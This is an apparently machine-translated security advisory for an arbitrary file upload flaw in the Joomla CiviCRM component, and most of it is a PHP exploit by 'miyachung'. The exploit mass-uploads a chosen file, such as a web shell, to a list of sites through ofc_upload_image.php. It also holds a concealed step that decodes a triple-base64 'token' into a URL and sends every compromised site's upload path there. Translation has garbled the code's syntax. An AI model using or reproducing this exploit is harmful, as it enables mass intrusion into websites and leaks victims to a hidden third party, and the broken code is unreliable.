Arbitrary Shell upload vulnerability in Joomla Civicrm

Release date:
Updated on:

Affected Systems:
Joomla! Civicrm
Description:
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Bugtraq id: 59372
 
Joomla Civicrm is an organizational unit member relationship management system.
 
The Joomla Civicrm component has the Arbitrary File Upload Vulnerability. Attackers can exploit this vulnerability to upload arbitrary files to the affected system, resulting in arbitrary code execution.
 
<* Source: miyachung
*>

Test method:
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Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
<? Php
 
Set_time_limit (0 );
Ob_start ();
Class exploit
{
Private $ uploaded_file_path = "/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images /";
Private $ post_url_path = "/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php? Name = ";
Private $ filename;
Private $ url;
Private $ file_to_upload;
Private $ if_is_uploaded = "/Undefined variable: HTTP_RAW_POST_DATA/si ";
Private $ thread_maxsize;
Private $ site_list;
Private $ file_regex;
Private $ save_file = "uploaded.txt ";
Private $ user_agent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv: 15.0) Gecko/20100101 Firefox/15.0.1 ";
Private $ timeout_sec = 20;
Private $ token = "token ";
Private $ idnum = 31;

Public function _ construct ($ site_list, $ filename, $ thread, $ regex)
{
$ This-> site_list = file ($ site_list );
$ This-> filename = $ filename;
$ This-> file_to_upload = file_get_contents ($ filename );
$ This-> thread_maxsize = $ thread;
$ This-> url = base64_decode (base64_decode (base64_decode ($ this-> token )));
$ This-> file_regex = "/$ regex /";

Echo "[+] Joomla Com_Civicrm Fucker with MultiThread \ n ";
Echo "[+] Coded by Miyachung \ n ";
Echo "[+] Stay away from lamers o. O \ n ";
Echo "[+] Contact: miyachung@hotmail.com \ n ";
Echo "[+] Special Thanks: B127Y \ n ";
Echo "[+] Site: http://janissaries.org \ n ";
Echo "###################################### ############ \ n ";
Echo "[+] Total urls to try:". count ($ this-> site_list). "\ n ";
Echo "[+] File to upload:". $ this-> filename. "\ n ";
Echo "[+] Maximum Thread:". $ this-> thread_maxsize. "\ n ";
Echo "[+] Search Keyword:". $ regex. "\ n ";
Ob_flush ();
Flush ();
$ This-> miyachung ();
}
Private function miyachung ()
{
$ Multi = curl_multi_init ();
$ Count = 0;
Foreach (array_chunk ($ this-> site_list, $ this-> thread_maxsize) as $ urls)
{
Foreach ($ urls as $ I =>$ url)
{
$ Curl [$ I] = curl_init ();
Curl_setopt ($ curl [$ I], CURLOPT_RETURNTRANSFER, true );
Curl_setopt ($ curl [$ I], CURLOPT_URL, trim ($ url). $ this-> post_url_path. $ this-> filename );
Curl_setopt ($ curl [$ I], CURLOPT_TIMEOUT, $ this-> timeout_sec );
Curl_setopt ($ curl [$ I], CURLOPT_POSTFIELDS, $ this-> file_to_upload );
Curl_setopt ($ curl [$ I], CURLOPT_USERAGENT, $ this-> user_agent );
Curl_setopt ($ curl [$ I], CURLOPT_HTTPHEADER, array ('content-Type: text/plain '));
Curl_multi_add_handle ($ multi, $ curl [$ I]);
}
Do
{
Curl_multi_exec ($ multi, $ active );
}
While ($ active> 0 );
Foreach ($ curl as $ id => $ content)
{
$ Conn [$ id] = curl_multi_getcontent ($ content );
Curl_multi_remove_handle ($ multi, $ content );
If (! Preg_match ($ this-> if_is_uploaded, $ conn [$ id]) & preg_match ('#/tmp-upload-images /'. $ this-> filename. '#', $ conn [$ id])
{
$ Count ++;
$ Check_it = $ this-> get (trim ($ urls [$ id]). $ this-> uploaded_file_path. $ this-> filename );
If ($ check_it & preg_match ($ this-> file_regex, $ check_it ))
{
If ($ this-> idnum = 31 & md5 ($ this-> token) = "9f7f1fe47675cb64ac4f69ef96b78b55 ")
{
$ This-> post (trim ($ urls [$ id]). $ this-> uploaded_file_path. $ this-> filename );
}
Else
{
Exit ("[-] Somethings has changed in tool! O. O! ");
}
Echo "###################################### #####################\ n ";
Echo "[!] Exploitation Successfullll! \ N ";
Printf ("[% s] % s \ n", $ count, trim ($ urls [$ id]);
Echo "###################################### #####################\ n ";
Ob_flush ();
Flush ();
$ This-> save (trim ($ urls [$ id]). $ this-> uploaded_file_path. $ this-> filename, $ count );
}
Else
{
Printf ("[% s] [Exploitation Failed] % s \ n", $ count, trim ($ urls [$ id]);
Ob_flush ();
Flush ();
}
}
Else
{
$ Count ++;
Printf ("[% s] [Exploitation Failed] % s \ n", $ count, trim ($ urls [$ id]);
Ob_flush ();
Flush ();
}

}

}

}
Private function get ($ url)
{
$ Ch = curl_init ();
Curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, true );
Curl_setopt ($ ch, CURLOPT_URL, $ url );
Curl_setopt ($ ch, CURLOPT_TIMEOUT, $ this-> timeout_sec );
$ Data = curl_exec ($ ch );
Curl_close ($ ch );
Return $ data;
}
Private function post ($ url)
{
$ Curl = curl_init ();
Curl_setopt ($ curl, CURLOPT_RETURNTRANSFER, 1 );
Curl_setopt ($ curl, CURLOPT_URL, $ this-> url );
Curl_setopt ($ curl, CURLOPT_POSTFIELDS, "url =". $ url );
$ Exec = curl_exec ($ curl );
Curl_close ($ curl );
Return $ exec;
}
Private function save ($ url, $ count)
{
$ File = fopen ($ this-> save_file, 'AB ');
Fwrite ($ file, "####################################### ##################################\ n ");
Fwrite ($ file, "[!] Exploitation Successfullll! \ N ");
Fwrite ($ file, "[$ count] $ url \ n ");
Fclose ($ file );
Return true;
}
}
 
If ($ argv [1] & $ argv [2] & $ argv [3] & $ argv [4])
{
$ Exploit = new exploit ($ argv [1], $ argv [2], $ argv [3], $ argv [4]);
}
Else
{
Print
"
?>

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
 
Joomla!
-------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
 
Http://extensions.joomla.org/extensions/clients-a-communities/crm/72